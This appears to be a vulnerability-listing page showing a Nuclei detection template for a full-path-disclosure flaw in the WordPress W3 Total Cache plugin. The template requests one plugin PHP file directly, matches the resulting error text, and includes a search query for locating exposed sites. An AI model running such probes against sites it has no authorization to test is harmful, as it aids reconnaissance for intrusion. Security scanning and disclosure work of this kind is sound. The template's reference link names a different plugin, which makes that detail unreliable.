wp-w3-total-cache-fpd: WordPress W3 Total Cache - Full Path Disclosure

2026-01-16 WordPress W3 Total Cache PoC Public

Description

WordPress W3 Total Cache plugin files are publicly accessible without ABSPATH protection, exposing sensitive server path information through PHP error messages when accessed directly.

PoC

id: wp-w3-total-cache-fpd

info:
  name: WordPress W3 Total Cache - Full Path Disclosure
  author: DhiyaneshDk
  severity: low
  description: |
    WordPress W3 Total Cache plugin files are publicly accessible without ABSPATH protection, exposing sensitive server path information through PHP error messages when accessed directly.
  reference:
    - https://wordpress.org/plugins/advanced-iframe/
  metadata:
    verified: true
    max-request: 1
    publicwww-query: "/wp-content/plugins/w3-total-cache"
  tags: wp,wordpress,wp-plugin,fpd,w3-total-cache,misconfig,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/w3-total-cache/inc/lightbox/purchase.php"

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "Fatal error", "Uncaught Error") || contains_all(body, "Warning:","failed to open stream")'
          - 'contains(body, "w3-total-cache")'
          - 'status_code == 200 || status_code == 500'
        condition: and
# digest: 490a0046304402202eb6c1890da5adea739cee3925f069010a92eafcb97066eaa90967924489786e02205bf86e881422a2c88c7711bbe68fedd26f34ce13829da214d2d245118b621dc5:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities